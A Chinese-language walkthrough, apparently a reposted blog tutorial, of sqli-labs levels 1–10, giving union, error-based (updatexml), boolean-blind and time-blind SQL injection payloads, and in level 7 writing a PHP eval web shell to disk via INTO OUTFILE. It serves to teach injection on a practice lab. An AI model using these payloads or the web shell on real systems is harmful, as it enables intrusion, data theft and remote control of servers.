Java教程

sqli-labs保姆级详解(GET的从一到十)

本文主要是介绍sqli-labs保姆级详解(GET的从一到十),对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!

目录

【Less-1】GET-Error based -Single quotes -String/错误的GET单引号字符串型注入

【Less-2】GET-Error based -intiger based/错误的GET数值型注入

【Less-3】GET-Error based -Single quotes with twist -String/错误的GET单引号变形括号型字符型注入 

【Less-4】GET-Error based - Double Quotes - String/错误的GET双引号变形字符型注入

【Less-5】GET-Double Injection - String Quotes - String/基于’字符型的错误回显注入

【Less-6】GET-Double Injection - Double Quotes/基于”字符型的错误回显注入

【Less-7】GET- Dump into outfile -String/导出文件GET字符型注入 

【Less-8】GET-Blind-Boolian Based - Single Quotes/GET的基于’的盲注

【Less-9】GET-Blind-Time Based. - Single Quotes/GET的基于’的时间盲注

【Less-10】GET-Blind-Time Based - double quotes/GET的基于”的时间盲注


一、SQL注入的前提:

  1. 判断是否有注入
    1. 可控参数如id=1,能否影响页面的显示结果
    2. 输入SQL语句的时候,是否报错,能否通过报错,看到数据库的一些语句痕迹
    3. 尝试输入的语句能否不报错,使得成功闭合语句
  2. 判断是什么类型的注入
  3. 语句能否被修改
  4. 是否能够成功执行
  5. 获取我们想要的数据

基本知识:

column_name:列的名称

Information_schema.columns:表示所有的列的信息

Information_schema:表示所有信息,包括库、表、列

Information_schema.tables:表示所有的表的信息

table_schema:数据库的名称

table_name:表的名称

判断有多少列
order by x

占位查看回显位置
select 1,2,3 

查看数据库名
union select 1,2,database()­­
­
查看数据库的表(group_concat和limit)
【group_concat】
union select 1,2,group_concat(table_name) from information_schema.tables where table_schema ='security'
【limit】
union select 1,2,table_name from information_schema.tables where table_schema ='security' limit 0,1

查看表的字段内容
union select 1,2,group_concat(column_name) from information_schema.columns where table_name=’emails’

【Less-1】GET-Error based -Single quotes -String/错误的GET单引号字符串型注入

当输入条件?id=1 and1=2为假的时候,未报错,单引号将输入的内容进行了闭合

输入1’将其闭合的时候发现报了一些信息,蓝色划出来的既输入的内容

利用这个漏洞查询,万能order by查字段

有3字段,查询回显位置

第2,3两字段能回显

查询数据库和字段内容

?id=1' and 0 union select 1,user(),database() %23

?id=1' and 0 union select 1,user(),group_concat(table_name) from information_schema.tables where table_schema='security' %23

【Less-2】GET-Error based -intiger based/错误的GET数值型注入

输入?id=1 and 1=1,语句执行正常,与原始页面如任何差异

输入?id=1 and 1=2,语句可以正常执行,但是无法查询出结果,返回数据与原始网页存在差异 

判断为数值型漏洞,进行万能order by排序 

查询回显的位置 

【这里要讲一下为什么需要输入select 1,2,3。其实这里的1,2,3只是起了占位的作用,可以用任何数替代,目的是为了确定上一步order by 有3个字段成功后,将1,2,3代入这3字段,查看这3个字段有哪些字段回显】

查询数据库security的表

?id=1 and 1=2 union select 1,user(),group_concat(table_name) from information_schema.tables where table_schema='security'

【Less-3】GET-Error based -Single quotes with twist -String/错误的GET单引号变形括号型字符型注入 

输入?id=1 and 1=2,没有报错,排除数值型 

在id=1后面加引号,报错了,而且发现和第一题一样,只不过这里用括号将输入的内容进行闭合

在id=1’后加括号,闭合我们的语句,再用--+注释掉后面的括号【%23也行】 

order by查询到共有3个字段 

查询数据库和表内容 

?id=1') and 1=2 union select 1,user(),database()%23

?id=1') and 1=2 union select 1,user(),table_name from information_schema.tables where table_schema='security' limit 0,1 %23

【Less-4】GET-Error based - Double Quotes - String/错误的GET双引号变形字符型注入

输入?id=1 and 1=2没有报错,可能是单引号将输入的内容过滤,判断为字符型

输入?id=1’ and 1=2依旧不行

查看一下源码【在PhpStudy\PHPTutorial\WWW\sqli-labs-master\Less-4目录下】

这里用双引号?id=1”) --+将输入语句闭合 

用order by进行查询字段,这里4报错,字段数为3

查询数据库和表

?id=1") and 1=2 union select 1,user(),database() --+

?id=1") and 1=2 union select 1,user(),group_concat(table_name) from information_schema.tables where table_schema=database() --+

【database()=security】

【Less-5】GET-Double Injection - String Quotes - String/基于字符型的错误回显注入

不管输入什么,都只会显示you are in

尝试在id=1后面加引号,发现报错

用order by查字段【记得将’注释】,当查询到4的时候报错,说明只有3字段

这里不能查看回显位置了,依靠updatexml报错来获取信息 

?id=1' and 1=2 union select updatexml(1,concat(0x7e,database(),0x7e),1)%23

根据updatexml的报错注入来获取信息

updatexml (string, xpath_string, string)
第一个参数string:可以输入1,为XML文档对象的名称
第二个参数xpath_string :提取多个子节点的文本
第三个参数string:可以输入1,替换查找的符合条件的参数

0x7e是一个代表~的十六进制,可以用’%’,或者’~’来代替

然后查询表

?id=1' and updatexml(1, concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)--+ 

【Less-6】GET-Double Injection - Double Quotes/基于字符型的错误回显注入

和第五题一模一样,只不过第五题是单引号,这里是双引号,不多做演示了

?id=1" and updatexml(1,concat(0x7e,(select database()),0x7e),1) %23 

?id=1" and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) %23

【Less-7】GET- Dump into outfile -String/导出文件GET字符型注入 

这一题,属实整理的不容易,看了很多的攻略,有的要么跳步骤,要么没说清楚,跟着走了不少弯路,这里会进行一个保姆级的步骤

首先,输入?id=1,题目会给我们一个提示use outfile,关于outfile后面再讲,先讲一下如何解出来的

输入为假的条件?id=1 and 1=2,并没有报错,可能是字符串型,将输入的内容闭合了 

闭合我们输入的条件 

发现报错,尝试万能order by 

报错了,居然不行,查看一下源码 

进入phpstudy,在phptutorial文件下的www 

www下的sqli-labs-master

在里面找到less-7,打开index.php就可以查看源码了

 

可以看到,将输入的内容用))闭合,这就好办了

查出来是3字段,如果现在要在里面写入一句话的话,是一定会失败的,MySQL对于outfile初始是off,所有我们需要在my.ini内,写入一个on的权限

首先,进入自己的MySQL的文件夹

【如果是你不知道你的MySQL在哪,就打开第一题输入,如果知道具体位置,那输不输无所谓

?id=1' and 1=2 union select 1,@@datadir,@@basedir %23】

进入my.ini,加入一句话,如下

这句:secure_file_priv=  

secure_file_priv=  

加入完成之后,将我们的my.ini关闭,然后重启mysql!!!

以管理员身份运行

先打开,再关闭

再打开

当然,也可以直接重启MySQL也行,这里重启完成之后,我们就可以成功写入一句话了

?id=1')) union select 1,2,"<?php eval($_POST[ganyu]);?>" into outfile "E:\\phpstudy\\PhpStudy2018\\PHPTutorial\\WWW\\sqli-labs-master\\Less-7\\gy.php" %23
<?php eval($_POST[ganyu]);?>#一句话木马

关于【E:\\phpstudy\\PhpStudy2018\\PHPTutorial\\WWW\\sqli-labs-master\\Less-7\\gy.php】这个路径,其实就是上面你查看源码的那个路径,写进去就行啦!

然后我们用蚁剑连接,这里我的一句话密码是ganyu,连接的时候如果不是一样的一句话的话,可别跟着写了 

后面的内容无非就是连接上了之后,查案数据库内容,这里就麻烦自己去探索了,做完这题之后,一定要记得将my.ini内加的那句话删除

原理:into outfile 语句会把表数据导出到一个文本文件中,如果在文件内写入一句话,即可用蚁剑一键连接。

【Less-8】GET-Blind-Boolian Based - Single Quotes/GET的基于的盲注

输入?id=1 and 1=2,没报错

尝试加入单引号或双引号,也没有报错 

尝试将后面的内容用%23或--+注释

成功,布尔类型盲注,判断数据库长度

?id=1' and length(database())>5 %23

最后得知长度为8

最后得知数据库为:security查询表

?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)) <127 %23

【Less-9】GET-Blind-Time Based. - Single Quotes/GET的基于的时间盲注

输入一个为真的条件,并没有sleep基于线程(x)的时间

可能是’将输入的内容闭合

?id=1' and if(1=1,sleep(2),0) --+

查询一下数据库的长度

?id=1' and if(length(database())=8,sleep(2),0) --+

经过测试,长度为8,查表名

?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))<127,sleep(2),0) --+

【Less-10】GET-Blind-Time Based - double quotes/GET的基于的时间盲注

基本步骤和第九题的一样,单引号闭合改成双引号闭合

?id=1" and if(1=1,sleep(2),0) %23

查询数据库长度

?id=1" and if(length(database())=8,sleep(2),0) %23

数据库长度为8,查询表名

?id=1" and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<127,sleep(2),0) %23 

 期待大佬指点

这篇关于sqli-labs保姆级详解(GET的从一到十)的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!